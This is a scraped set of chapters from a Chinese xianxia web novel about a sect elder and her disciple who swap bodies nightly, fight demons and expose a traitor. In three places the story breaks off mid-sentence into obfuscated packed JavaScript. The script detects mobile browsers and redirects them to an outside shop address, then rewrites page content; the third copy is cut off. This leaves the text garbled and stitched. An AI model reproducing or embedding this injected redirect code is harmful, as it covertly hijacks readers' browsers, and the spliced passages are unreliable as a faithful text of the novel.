千重楼阁在金光照耀下熠熠生辉,云海翻涌,被染成橙红色,似火一般灼烧着山间魔气。 如此循环往复,声声不止。 漫天流火坠落,划过夜空。 不知过了多久,苍穹涌出一线鱼肚白,怯生生贴在天边远山轮廓上。云海恢复往日的流动,灰白雾气绵延万里。 天快亮时,这场闹剧才平息。 虞濯画灵力消耗过多,丹田处隐隐刺痛。 眼前一阵天旋地转,她与封弦玉换了回来。 她自己身体里,并没有痛感。 虞濯画蹙眉:“为何不尽全力?” 金色余烬在空气中飘浮,像是破碎的星光,久久不散。 封弦玉脸色苍白,他低头行礼:“魔物涌入泉山,师尊必定忧心,保留灵力,也可应对有心之人。” 虞濯画轻嗤一声:“你倒是想的周到。” 他为她留存灵力,自己体内自然消耗过度。 他该不会,担心她会疼吧?这怎么可能,封弦玉不会有如此细腻的心思。 虞濯画猜想,他一定是担心消耗太多灵力会暴露他二人都能使用净火一事。绝对是这样。 封弦玉夜里察觉魔气时,体内净火便已翻涌,他对此并不意外,毕竟是虞濯画的身体。 但看见落仙峰院中,虞濯画用他的身体催动净火,他便猜测是换魂所致。 之后,他用净火点燃长明灯,一路上果真没有黑翳敢靠近。 虞濯画忽然问:“昨夜,你没用剑吧?” 她剑心虽失,可灵力互通时,封弦玉用她的身体亦可拔剑。 封弦玉摇头:“师尊曾叮嘱过,弟子不敢忘。” 山巅之上,巨钟静静伫立。 虞濯画往前走了几步,轻声开口:“常业,你救了泉山。” 封弦玉指尖微颤,心中似被什么东西钻疼,隐隐胜过灵脉撕裂的痛感。 她爱这世间,胜过一切。 宿命辗转,他总算有机会弥补她的所爱。 封弦玉低下头,向后退了几步。被他遮挡住的日光,此刻尽数洒在虞濯画身上。 “能与师尊并肩,实是弟子之幸。” 虞濯画侧眸,似是没想到他会这样说。 少女轻笑出声,背过手去,垂望山涧。 有眼尖的弟子注意到山顶的人,迟疑道:“那是……师祖?” 没有人回答他。 但所有人都看见了。 山巅之上,金光之中,立着一个人。 她站在灵钟前,衣袂翻飞,身形纤瘦却坚毅。初升日光落在她身上,净火在她身后散去。 整座泉山都在仰望她。 在那一刻,所有人都想起了那个传闻。 百年前,她一剑诛魔,重建万灵宗。 百年后,她依然站在那里。 仙山之上。 天下第一。 * 泉山之事一夜传遍九州。 比起黑翳夜袭万灵宗,更令人惊叹的,是虞濯画以净火之力扫清万千魔物的实力。 “我早说过,那虞濯画定然是隐藏修为,深居后山,藏而不露。” “胡说!净火再强,催动也需灵力!前不久那招新大会上,有人亲眼看见她修为已退至观心境,都快比不过她那徒弟了!” “所见略同。以净火灌入灵钟,所需灵力绝非小可,岂会是她一人之功?” “哼!尔等有眼无珠。那你且说,这世间除了游家人与虞濯画,谁还能有净火?别忘了,游家早已绝后!” “兴许是她有了道侣也未可知。” 此话一出,酒楼中众人皆哑然。 好半晌,才有人道:“我远房表姐家邻居大爷的小外甥就在泉山修行,听他讲,那夜灵钟旁确实有一少年与她同在。” “莫非,那人便是她的道侣?” “似乎是叫什么……常业。” “你这不瞎扯吗?那常业分明是虞濯画新收的徒弟!” …… 不过几日,此事已传得沸沸扬扬,愈演愈烈,最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374852|200043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟演变成虞濯画与新收徒弟一见倾心的风月佳话。 不仅如此,泉山中还有人写起了虞濯画和常业的同人话本。 酸甜虐恋、佳偶天成、恨海情天,各个版本应有尽有。 虞濯画借着“消耗灵力过度”的由头,缩在青雪峰,躲过了被温孤年拉去重铸护山结界的苦差事。 正悠闲地躺在桃林中看话本,然后她便看见了自己与封弦玉的恋爱版本。 “常业自幼爱慕虞濯画,后历尽千辛拜入万灵宗,奢望着能靠近心悦之人。” “幸而虞濯画见到他的第一眼便深深迷恋上这位外门弟子,不顾掌门与众长老劝阻,执着于收他为徒。” “有情人终成师徒。想知后续,请购买《泉山眷侣录》第二卷。” 虞濯画:? 当天,她攥着玄玉,闯入落仙峰,将穆天赐与卢峥二人堵在院口。 “我早听常业提起,那夜你二人对净火之事十分感兴趣,误以为我与他有了双修之实,”虞濯画坐在院门台阶上,声音听不出怒气,“说,此事是不是你们传出去的?” 她右手捏着玄玉,一下一下敲在左手掌心。 穆天赐与卢峥面对墙壁而站,头上各顶着一碗水。 “冤枉啊小师祖!我肚子里这点墨水,哪能编的出故事。” 此话出口,穆天赐登时捂住嘴。 头顶的碗应声坠地,发出清脆的碎裂声。 虞濯画死死盯着他:“我并未提及话本。” 卢峥低声骂他:“猪脑子。” 穆天赐一个滑跪扑到虞濯画面前:“小师祖,我以卢峥十年娶不到媳妇起誓!这事真不是我传出去的!那话本也是凑巧看到而已!” 卢峥又骂他:“你个亡命徒,你才娶不到媳妇!” “凑巧看到?莫非门中有很多人知道那话本?” “自然不止一本。”穆天赐双手合十求饶,“小师祖饶了我们吧。” 封弦玉拎着竹篮回来时,见到的便是这样一副场景。 穆天赐瞅见封弦玉,哀嚎道:“常师弟,你怎可……怎可把我们师兄弟间的私话告诉小师祖?” 封弦玉驻足,望向虞濯画:“师尊,不知二位师兄犯了何事?” 虞濯画轻咳一声。 说他们看闲杂话本吧,自己房里摞了几箱。说他们传流言吧,可穆天赐不像说谎,他与卢峥应不会将那夜之事传出去。 “罢了罢了,此事不必再提。”她看向穆天赐,“常业的净火,事关游家秘事,绝对不能为外人所道。” 穆天赐连连点头:“是是是。” 虞濯画起身:“你跟我过来。” 封弦玉依言点头,跟在她身后,一路走到莲池边。 虞濯画斟酌片刻,才道:“近日门中传言四起,你我行事都须更加谨慎。” “弟子明白。” 他还提着那竹篮,篮中是新摘的桃花枝,花瓣犹带晨露。 虞濯画想起那日系统说她撩拨封弦玉,便道:“你如今身在万灵宗,不必忧心吃食,该把心思放在修炼上。” 封弦玉攥紧了竹篮,面上笑意不减:“弟子记下了。” 春末将至,山风不似从前凉薄,拂上身来,带着几分温和。 封弦玉回院时,虞濯画仍静立原地。 眼中笑意渐渐淡去,取而代之的,是一丝审视。 方敬元不久前被她遣去沧澜地,至今音讯全无。距那夜黑翳袭山已过去五日,仍未找到暗中开启结界之人。 究竟是那叛徒早已被灭口,还是藏得太深? 虞濯画无从得知。 她对封弦玉的戒备,又重了一分。 【宿主,你怀疑他?】 “系统,”虞濯画反问,“你很关心我对封弦玉的看法?” 系统静默。 “不是怀疑,而是,”她缓缓转动手中笛子,“我从未信他。” 居室之中。 封弦玉坐在桌案前,看着一篮桃花与一沓隔音符纸,垂眸苦笑。 她又何必故意去寻穆天赐二人,演那一出气急的戏码?不过是为了试探那些流言是否与他有关罢了。 此番归来,他从未动过旁的心思。 他怎么舍得将那点隐晦又肮脏的念头,加诸在她身上。 “师尊。” 封弦玉拈起一朵桃花,放在指尖掐断,碾碎。 香气糜烂,弥漫满室。 “信我一次吧。” 5. 换魂第五 暮色四起,泉山渐入幽夜。 廊下灯影轻晃,虞濯画双手托腮,衣袖堆叠在臂弯处。她双眸微垂,已是目涩神倦,恹恹欲睡。 温孤年盯着盘上残局,迟迟等不到她落子,屈指轻叩桌案:“弈棋当整肃衣冠,凝神定气,不可这般懒散。” “嗯?” 虞濯画从鼻音里懒懒应了声,揉了揉惺忪的眼,眼里漾出几分笑意:“我这一手烂棋,什么时候赢过你?” 她说着,从棋盒中取出二子置于案沿,“我认输。” 青雪峰静谧,素来没有弟子巡守,沉沉月色碎成一地银霜,山间只余虫鸣鸟啼。 温孤年见状便放下手中黑子,眉心不展。许久,才长叹一声:“那日随方敬元同去的弟子们,已有几人回来了。他们说,自入沧澜地起,便与他失散。” 虞濯画打了个哈欠,仰身靠椅背上。她望着廊外那片浓得化不开的夜色,尾音轻扬:“失散吗?” 十余人跟着一个人,却同时跟丢,只能是故意为之。 方敬元甩掉那些小尾巴,轻而易举。 温孤年眉头拧得更紧:“你自是不会因方敬元一时失语冒犯,就罚他去沧澜地。” 他顿了顿,看向虞濯画:“你是如何想的?” “在外人眼中,如今的万灵宗就像一根朽木,是只蛀虫,便想进来蚕食几口。方敬元不过是最先上饵的那只。” 温孤年默然片刻,仍有些不解。 那日明正殿上,方敬元确实在三长老与五长老煽风点火,急于让万灵宗派人赶赴沧澜地。但这些言行,并不足以使他露出破绽。 虞濯画似是看穿了他的疑虑,便伸出手来,食指上挂着一枚令牌。明黄色的流苏微微摆荡,像一尾游弋的鱼。 “那老东西几次三番与我作对,原本,我是想借机治治他。可我没想到,大长老会因此出手。” 泉山之上,长老令权利至高。大长老身在长老院中闭关多年,自然不会因方敬元几句冒犯之言就贸然出手。他将令牌传给虞濯画,便是以此来表赞同之意。 “方敬元入泉山已有百载,黑翳之事与他无关。但幕后之人,”她微微一顿,眸色转深,“怕是和他关系密切。” 温孤年一看她手中令牌,下意识向自己腰侧摸去,这才想起什么来,问道:“掌门令,何时还我?” 虞濯画一怔,随即失笑:“这几日繁忙,待我去过宝库后就还你。” 温孤年轻哼一声,神色却在一转间变得凝重:“那黑翳,莫非是……” “方敬元数日未归,那人应是快要坐不住了。” 话音刚落,一阵夜风毫无征兆地掀起,呼啸过庭院,吹得草木作响,花枝零落。 虞濯画蓦地轻笑:“来了。” 她翻身而起,动作行云流水,一脚踹上身旁的花瓶。 青瓷飞出房檐,在月色中划出一道弧线。瓷器碎裂的声响并未传来,而是被人稳稳接住。 长风倏然掠过,屋中灯火熄灭,周遭陷入黑暗。 “装神弄鬼。”她轻嗤一声,“身为同门,还怕被人看见?” “你不死,三日之后,万灵宗将不复存在。” 外面传来一道沉闷的声音,像是口鼻遮在铁具下,音色不明。 “谢谢啊。”虞濯画坐回椅上,指尖漫不经心地敲着扶手,“杀我之前,还要事先知会一声。” 那人冷哼一声,不再多言。黑暗里,一股灵压骤然袭来,如山岳倾倒,直逼屋内。 温孤年一掌拍在桌上,茶水溅出,水珠映着月色,照出无数道人影。 案上棋子应声悬起,他轻拂衣袖,数枚黑白棋子瞬间飞出,化作凌厉流光。 蛰伏在屋周的人影,在棋子触及身躯的刹那,忽然如烟雾般消散。 温孤年目光一凝:“无相术。” 一身万相,无形无踪。 他一人化出百余分身,可见无相术已修炼至上重。 “我这师祖还真是失败,”虞濯画慢条斯理地端起案上那盏温茶,月光映在她眼底,漾着浅浅的嘲弄,“竟让门中弟子,偷学无方宗的术法。” 她抿了口茶,唇边笑意渐深,抬眸望向夜色深处。 “你可真像,”她弯起唇,“无方宗的看门狗。” 夜色中,那道身影似有一瞬凝滞。 “对吗?” 虞濯画轻轻放下茶盏,盏底磕在案上,发出一声脆响。 她抬眸,目光穿过夜色,直直落在那道渐渐显现的人影上:“方敬元之徒,武京墨。” 霎时,利刃出鞘,剑光泛冷。 武京墨握着剑的手一抖,身影瞬间化出数道残影,齐齐朝虞濯画刺来。 剑锋破空,发出细微声响。 温孤年蹙眉,还没来得及唤出灵剑,便见虞濯画已经起身。她袖下玄玉响起,笛音清亮如泉,瞬间斩出一道灵波,将那数道残影震得微微一滞。 她掌心掐着净火,鞋尖凌空虚点,身影迅速掠起,倏地逼近武京墨。一掌劈下,正中他腹腔。 武京墨被这一掌推得踉跄后退,狠狠撞在廊柱上,脸上面具随之掉落,露出底下那张布满魔纹的面孔,在月色下格外狰狞。 “虞濯画,你也就只剩下净火了吧。”他半蹲在地,擦去脸上血渍,疯魔一般嗤嗤笑起。 虞濯画稳稳落地,衣袂轻扬,转了转手腕:“是啊。怎么?你想教我练无相术?” 她微微偏头,唇边勾起一抹笑:“倒也并非不可。” 武京墨目光阴狠,紧紧盯着她,显然还留有后手。 可惜,他不会有机会施展了。 玄玉再次响起,这一次,笛声绵长。 整座庭院都被净火围困在中央,金色火光窜起,火势有愈大愈烈的趋势。 武京墨这才显出几分惊慌,瞳孔微缩:“你要做什么?” “保泉山啊。”她一本正经地开口,火光映在她眼底,明明灭灭,“我死了,泉山才能无恙。” 武京墨虎口发白,死死握着剑:“不如我来助你。” 长剑袭来的那一瞬间,虞濯画忽然感到一阵头晕目眩。 眨眼间,她已安然坐在房内。 烛火摇曳,映出几张熟悉的面孔。 穆天赐翘着二郎腿坐在对面,手里捏着薄薄的叶子牌,他甩出一张拍在桌上:“看我这一手绝杀!等输吧你们!” 卢峥额心贴着素纸条,眉头不展,瞅着手里的牌发愁:“你这什么手气?真臭。” “不可眼红啊!”穆天赐摆摆手,看向虞濯画,“常师弟,该你出牌了。” 虞濯画低头,看着自己手里攥着的一把叶子牌,又看向另一旁。 另外一名弟子满脸贴着纸条,层层叠叠,一时也看不出是谁。 她一把揉碎手里的牌,握拳捶在桌上:“你们不睡觉,就干这些事?” “啥?”几人面面相觑,一脸茫然。 虞濯画猛地一顿,意识到自己身在封弦玉体内,连忙将牌展开:“我是说,青雪峰出事了。” 卢峥问:“出什么事了?” 虞濯画抬眼,她正对着窗户而坐,侧目望去,恰好能看见青雪峰的轮廓。 此刻,净火已烧到半山腰,火光冲天。 * 封弦玉换到虞濯画身体里时,迎面撞上武京墨的剑。 他利落躲开,动作敏锐。反手一把掐住武京墨的脖子,冷声低语,字字如冰:“你想死吗?” 这套动作一气呵成,根本不给武京墨任何反应时间。窒息感袭来,他手中的剑坠地,本能地伸手想要去掰那只掐在脖子上的手。 封弦玉另一只手抓住他的胳膊,硬生生将骨头拧错位。 “你……你……”武京墨喉咙里挤出破碎的字音,一句完整的话都说不出。 他眼前这人,分明还是虞濯画的模样,可就在方才那一瞬间,仿佛变了个人。 狠厉,骇人。绝非虞濯画的作风。 “濯画,”温孤年避着净火,快步走过来,“你不能杀他。” 武京墨毕竟是万灵宗弟子,司法堂大师兄。若虞濯画擅自做主杀了他,无论缘由为何,都难免惹来非议。 封弦玉自是明白,他指尖松动,将手里的人丢在地上,一脸嫌弃。与温孤年相视时,才将那抹凌厉压了下去。 武京墨倒在地上剧烈喘气,半天爬不起来。 虞濯画放净火,本是为了堵住他的退路。眼下火势浩大,火光惊动了半个泉山,不过片刻,便有不少弟子赶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374853|200043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 封弦玉压下净火,他们这才陆陆续续朝庭院围拢过来。 崔弗最先赶到,身后跟着司法堂弟子,脚步匆匆。 “武京墨?”他似是不相信,又凑近看了看,“真的是你!” 众人皆是一惊。 武京墨是方敬元的徒弟,方敬元去沧澜地后,一直是崔弗在料理司法堂事务。 此刻那些弟子你看我我看你,谁也不敢上前去捆武京墨。 温孤年冷声:“都愣着干什么?” 崔弗也斥他们:“都想挨罚了是吗?” 弟子中有人小声嘀咕:“武师兄入魔了……武师兄怎么会入魔?” 崔弗脸色一黑:“你们!你们想违令不成?” 武京墨从地上爬起来,嘴边源源不断溢出鲜血。他伸出双手:“抓了我又如何?你们迟早被这个女人害死。” 封弦玉眸光骤冷,伸手虚空一拽。 一根灵绳凭空出现,缠上武京墨手腕上,将他再次拽到在地,甚至因力道太猛,被往前拖拽了半尺。 地上划出血痕,在众人举着的明火下,触目惊心。 封弦玉低头看着他,眼神冷得像是淬过冰:“你再说一遍。” 是虞濯画的声音,却不是她惯有的语气。那声线里压着得寒意与少女明亮的眸子格格不入,仿佛下一刻就要将他凌迟,只是听着就让人感到一阵悚然。 “温孤年,看到了吧?”武京墨忽然大笑起来,笑声嘶哑,“虞濯画竟会因一句话就要杀了我。” 他笑声一顿,忽然喊道:“你真的是虞濯画吗?怎么不用玄玉杀了我?” 封弦玉攥紧手指,袖中空空荡荡,玄玉确实不听他的令。 本命法器与寻常法器不同,它与虞濯画的身魂相系,二者缺一不可。 温孤年看着他,目光沉沉:“你在胡言乱语些什么?” 崔弗示意身旁之人,两名弟子连忙上前,从封弦玉手中接过灵绳,将武京墨扣押住。 就在两名弟子接手的一瞬间,武京墨忽然挣开束缚,从腰间抽出曲剑,身形一闪,瞬间移至封弦玉身后。 曲剑灵活柔软,他一直贴身藏匿,虞濯画与温孤年都未察觉。 此刻,那剑已缠上封弦玉脖子。 “看啊,”他疯了一般笑着,“玄玉怎么不出来护主了?” 封弦玉抬指掐住剑刃,淡声开口:“凭你?” 指尖微微用力,曲剑应声断裂。剑锋碎成寸块,散落在地。 崔弗一巴掌拍上那名弟子的后颈,急道:“怎么办事的?还不快去把人抓过来!” 武京墨目的达成,顺势被那名弟子抓住,缠上更坚固的铁链。 这一遭下来,再觉得武京墨发疯的人,心底也隐隐动摇起来。 “方才我还远远看见玄玉的灵气,为何此时不见了?” “这玄玉总不能是坏了吧?” “虞家世代相传的法器,你以为是你的破剑啊?” “那这怎么回事?难不成……小师祖被夺舍了?” 武京墨又说:“眼神骗不了人。让她把玄玉拿出来不就知道了。” 温孤年冷冷扫过,崔弗连忙道:“还不快把他的嘴堵住!” “凭你?” 又是这句话。 武京墨转头,人群如潮水般散开。 虞濯画缓缓走到他身旁,一字一顿,字字清晰:“也配见玄玉?” 在众人眼中,说话的人是封弦玉。身形高挑,气质清润,让人望而生寒。 她微微俯身,声音轻得像一片落叶,却压得人喘不过气来:“我师尊想留你一命,别不知好歹。” 武京墨冷冷一笑,魔纹在火光下扭曲:“那你可盯好了,免得被哪只孤魂野鬼附了身。” 虞濯画与封弦玉并肩而立。她垂在袖中的手,轻轻握上封弦玉的手。 神魂错位,肌肤相触。 那一瞬间,有什么东西在两人之间无声流转。 封弦玉四肢一僵,眼底神色微不可察地颤动。 众人对此毫不知情。 “此人不见棺材不落泪,师尊便允了他的夙愿吧。” 她微微侧首,握着封弦玉的手,又紧了几分,“给他看看也没什么。” 6. 阴阳第一 虞濯画自踏上青雪峰时,便知道武京墨会起疑。 她与武京墨交手至半途,皮相下忽然换了个人,身为修士,他绝不可能毫无察觉。 何况,封弦玉此番归来,体内没有血魔血脉限制,灵力一日比一日强劲,武京墨根本招架不住。 虞濯画盯着满峰净火,终究向系统妥协:“有没有什么办法,能解除换魂术对玄玉的影响?” 系统:【没有。除非宿主成功攻略封弦玉。】 “求你了。” 系统:【……】 【可以。】它说,【如果你们互通识海,就可以短暂使用本命法器。】 互通识海。 识海与修士而言,比丹田灵脉更为隐秘,也更为重要。那是神魂栖居之所,是道心根基。 识海互通,无异于将灵魂剖开,引对方长驱直入。 虞濯画纠结了很久,她站在青雪峰下,看着满峰净火随风而起,又被一点一点熄灭。最终,才决定向封弦玉迈出那一步。 她稳稳走到他身侧,牵起他的手。掌心相贴,识海相连。 令虞濯画意外的是,她竟然这么容易就成功了。原以为,会被封弦玉抗拒,或是直接遭受反噬。 可封弦玉的识海,就这样毫无防备地敞开了,像是一扇虚掩的门,等待着她来推开。 封弦玉的识海是一片空旷水域,深邃而幽暗,如同一潭死水,不见波澜。水面中央悬着一把剑,通体漆黑,轮廓模糊,看不真切。 识海随意念而变,通常都是心中最喜爱的事物。譬如虞濯画,她的识海便是仿着青雪峰上的桃林而建,阳光明媚,花枝摇曳。 而他的,是这样一片孤寂。虞濯画想,或许他就是喜欢这样平静的水面。 识海相通的那一刻,她便可以在其间与封弦玉随意交流。 “师尊,你——” “闭嘴。” 虞濯画耳根泛红,声音却平静:“如此,你便可召唤玄玉。动手吧。” 望着眼前众人。 封弦玉伸手,洁白剔透的玉笛随之出现,静静躺在掌心。笛身流转着温润的光泽,像掬了一捧月光。 他垂眸看着玄玉,连半个眼神都没给武京墨。 虞濯画暗暗松了口气,面上不动声色:“你可还要胡言乱语?” 武京墨死死盯着眼前这师徒二人。 虞濯画分明需要借助玄玉的灵力,才能击溃他的无相术。可方才,这人抬手间便将他压制,让他连无相术施展的机会都没有。 绝对有问题。 虞濯画指尖轻轻戳了戳封弦玉掌心,在识海中悄声道:“你跟着我说。” 她轻声开口:“武京墨入魔叛道,私开结界引黑翳入山,按律当废其修为,受雷火之刑,永逐仙山。” 封弦玉复述,字字清晰,如珠落玉盘。 武京墨听罢,嗤笑一声:“我是想杀你,但要害泉山的非——” 虞濯画扬手施了道术法,将他的嘴封住。 温孤年略作思虑,吩咐道:“还不带下去,押入寒牢,三日后受刑。” “是。”两名弟子押着武京墨离峰。 临走之际,武京墨侧过头来,死死盯着封弦玉。 在他眼中,那是虞濯画。 虞濯画松开手,跨出半步挡在封弦玉身前。 她当然知道,那日暗中开启结界的人不是武京墨。 雷火之刑非常人所能承受,修为被废后再受刑,两条命都不用。 武京墨想活命,便会设法逃出去。 届时,跟着他这只小鱼,就能顺藤摸瓜,钓到背后的大鱼。 温孤年明白她的用意,便顺势而为。 “阻止他用无相术逃脱的方法有很多,为何非要动用净火?”温孤年不解地看向封弦玉,目光里带着几分惋惜。 青雪峰被烧了个干净,到处都是枯枝烂叶。夜风一吹,灰烬扬得漫天都是。 虞濯画正想着如何开口,便听封弦玉道:“闹得越大,才能让武京墨背后之人认为他尚有用处,不至于弃了这枚棋子。” 温孤年摩挲着下巴,若有所思:“原来如此。” 虞濯画瞥他一眼,心道这人还真看出了自己的想法。 温孤年背过身去,望着满山狼藉。许久,忽然问:“沧澜地那边,你要去吗?” 虞濯画眉心微蹙,连忙冲封弦玉使眼色。 封弦玉意会,淡声开口:“掌门,夜已深,此事日后再议。” “也罢。”温孤年甩了甩衣袖,“早些歇息。” 四更天至,万籁俱寂,虫鸣也已随风散去。青雪峰上,便只剩下虞濯画与封弦玉两人。 又是那种似曾相识的怪异感。 封弦玉率先开口,打破沉寂:“师尊,要去沧澜地?” “伏魔境异动,似有魔物出现。你不知道吗?” 她静静看着眼前之人。 她的样貌,他的灵魂。 封弦玉毕竟是魔族后裔。 即便他设法隐匿了体内魔气,甚至修出灵脉,伪造身份瞒过泉山众人。 可她曾亲眼目睹过,他撕破伪装后,那满手的血腥与杀戮。 若说沧澜地之事与他毫无关系,虞濯画不信。 “听过一些传言。”封弦玉垂眸,“紫华宗一脉独大,一心想做四宗之首。他们是想借平复伏魔境之机,招揽天下民心。” “知道的还不少。” “师尊将方长老逐去沧澜地,其实是想借寻他之由,前去调查伏魔境异动。” 是陈述句。 虞濯画轻轻皱眉。 她无拘惯了,平日里做事都不着调,素来想一出是一出。连温孤年都看不透她的心思,封弦玉却能一眼看穿。 紫华宗野心昭昭,恨不得全九州都知道他们要去平复魔物,若是虞濯画直接前去,必会给泉山招来是非。 眼下方敬元恰好失联,假借寻找宗门长老的名义,便能避开这些麻烦,也能堵住紫华宗的嘴。 “是。”她如实道,“伏魔境的封印经我之手所设,如今魔物窜出,我不能不管。” “师尊何时动身?”封弦玉顿了顿,“我随师尊同去。” 带他去? 万一他想趁机报当年之仇怎么办?怕是还没离开泉山,就被他一剑戳死了。 虞濯画刚要拒绝,又想起这该死的换魂术。 不带他,那自己只能白日行动,夜晚便会被换到他体内。 “尚未定夺,届时再谈。” 封弦玉点头。 又是一阵僵持。空气仿佛都凝滞了,连呼吸声都变得清晰可闻。 这里分明是虞濯画自己的寝居,此时此刻她却有些站立难安。 “方才……你别误会,”虞濯画解释,“总不能真被他戳破换魂之事。” “师尊不必多虑。今夜是我行事不谨,险些暴露。” “今日之事虽在意料之外,可日后这样的情形怕是还有很多。” 虞濯画思量片刻,忽然道:“不如,明日你搬来青雪峰吧。” 封弦玉抬眼。 虞濯画的双眸本就清明,此刻因封弦玉的缘故,变得愈发明亮。 “如果你不嫌弃的话,”她顿了顿,目光扫过满目疮痍的山峰,有些心虚的补了一句,“毕竟,青雪峰已经快烧干净了。” 封弦玉眉眼微弯,朝她行礼:“谨遵师尊之令。” “时候不早了,早些休息。” 她下意识就往屋里走,刚要跨过石阶,忽然想起什么,连忙转身朝峰口走去。 封弦玉久久静立原地。 让他搬来青雪峰,无论是为遮掩换魂术,还是想监视试探他,都没关系。 离她近些,便足矣。 * 落仙峰,小院中灯火未熄。 卢峥与穆天赐一左一右靠在门口,见封弦玉回来,快步凑过去:“师弟,我们都听说了,小师祖可有受伤?” 虞濯画瞥了他二人一眼,觉得他们倒还算有些良心。 “无恙。我师尊是何人?岂会被那武京墨所伤。” “啊?”穆天赐忽然叹气,“完了完了。” 虞濯画:“?” 他们好像很希望自己负伤。 卢峥也跟着叹气:“这武京墨可真是胆大,竟然修炼魔气。” 虞濯画推开房门,她绕开木桌,倒了杯茶饮下。 穆天赐一屁股坐在凳子上,满脸生无可恋:“若是被小师祖知道,我们拉着你打叶子牌,定是又要被罚。” 虞濯画抬眼看他,原来是因为这个。 卢峥安慰:“担心什么?常师弟定不会向小师祖告状。” 说罢,他转头看着封弦玉,“对吧?师弟?” 虞濯画不语,只弯了弯唇。 * 次日清早,虞濯画站在院门口,将要去上早课的卢峥与穆天赐拦了下来。 穆天赐面容扭曲,整个人仿佛要原地四分五裂:“我就说咱们要完蛋,你还不信。” 卢峥小声道:“快闭嘴吧!” “知道我为什么找你们吗?”虞濯画问。 她脸上挂着笑,穆天赐却只觉后脊发凉。 内心挣扎片刻,他朝前跨了一步,低头认错:“小师祖,我们知道错了。以后夜里我们一定不会拉着常师弟打叶子牌了。” 卢峥跟在后面:“不不不,我们自己也不会打了。” “没错!” “呦?”虞濯画挑眉,“原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“师兄日后住我这间屋子吧,已收拾干净了。” 卢峥拍他肩膀:“还是你好。” “行了,你们还不去修炼?”虞濯画朝外走,提醒道,“一会儿可是三长老的剑术课。” “这就去,这就去。” 几人一道走出院门。 虞濯画脚步轻快,正要下山,余光里却瞥见莲池边趴着一个人影。 那少年半个身子探出池畔,袖子湿了半截,手中攥着一条红鲤:“可真肥,烤着一定好吃!” 虞濯画蹙眉,玄玉瞬间脱手而出。 穆天赐大惊:“遭了,那是小师祖养的,全九州仅此两条的丹火鲤!” 玄玉打在那少年手臂上,力道不重,却恰好让他手掌泄力。红鲤落回池中,甩了甩尾巴,灵活地游走了。 虞濯画看了一眼,这才放下心来。 “你是哪峰弟子?” 那弟子抹了把脸上的水,有些错愕地抬起头。 “孟易之?” 孟易之看清来人后,脸上绽开一个大大的笑:“小师叔!你竟然还活着!” 虞濯画听完险些气晕过去。 他话音未落,莲池对面的小径上便传来一道清亮的女声:“小孟,捉条鱼怎么这么久?” 晨日初升,薄光洒下一地碎金。一位身着桃粉衫的姑娘从花木掩映中走出来,步履轻盈,她手里还捏着一枝刚折下的桃花。 见到虞濯画的那一刻,她微微愣住,手中花枝轻颤。 “小师叔?” 少女容色明媚,笑靥生春,那双眼睛弯起来,和百年前一模一样:“好久不见。” 虞濯画怔在原地。 一百个春冬轮回,确实好久。 院门口立着三人,远远张望。 穆天赐伸长了脖子:“昨夜相识的孟师兄是二长老之徒,那位姑娘又是谁?” 卢峥想了想:“应是二长老的另一位徒弟,宁瑶师姐。” “百年前,驻守沉仙海的宁瑶师姐?” “正是。”卢峥想起坊间传闻,声音压得低了些,“宁师姐的道侣葬在沉仙海中。这些年,她一直在寻找阴阳玉,想要救活心爱之人。” “可是,人死怎么能复生?” 卢峥缓缓摇头,没有作答。 封弦玉全然不关心他们的交谈。 他静静盯着莲池。 天底下第一尾丹火鲤,是他找到的。 后来,丹火鲤繁衍出许多,却又尽数死在那场大战之中。 重回泉山后,他见仅存的两尾被养在池中,还以为虞濯画并不在意。 所以,她是在乎的。 一个念头从心脏深处蔓延,连带着骨血,缓缓滋生开来。胸口似要被这股酸痛碾得喘不过气。 虞濯画……在乎他吗? 封弦玉低下头,将眼底晦涩的情绪压了回去。 这个问题的答案,他仅仅是想想,便比削肉剔骨还要疼。 7. 阴阳第二 青雪峰毁了大半,好在桃林安然无恙。 林间光影斑驳,落英缤纷,细碎的花瓣飘落,在石桌上铺了薄薄一层。 虞濯画坐在桌旁,将一盏茶推向宁瑶。 “多谢师叔。”她笑吟吟地接过,指尖托着盏底,低头嗅了嗅茶香。 “我还以为,你把泉山忘的一干二净了。” “师叔说笑了。”宁瑶放下茶杯,亲昵地挽起她胳膊,“原本早该回来的,但前不久引川有魔物作乱,我们与师父前去除魔,这才耽误了几日。” 虞濯画端茶的手微微一顿:“引川竟也出现了魔物。” 宁瑶出自引川宁家,同辈中只她一个女子,虽自幼长在泉山,但与宁家从未断过来往。 “只是些小魔,并未闹出人命。”宁瑶摆摆手,目光在四周转了一圈,落在那些焦黑的枝干上,“倒是你,怎么把青雪峰弄成这副摸样?” “说来话长,”虞濯画长舒一口气,“幸好你回来了,还能用回春术救一救我这满峰草木。” 宁瑶伸出三根手指,在她眼前晃了晃:“不出三日,定让它恢复原样。” 虞濯画轻笑,饮下一口茶,顿了片刻,才问:“找到阴阳玉了吗?” 宁瑶点头,脸上笑意却渐渐淡去。 “阴阳玉找到了,可惜它救不了裴云歇。” 虞濯画垂眸,指节微微泛白:“对不起,若非因为我,裴师兄也不会……” 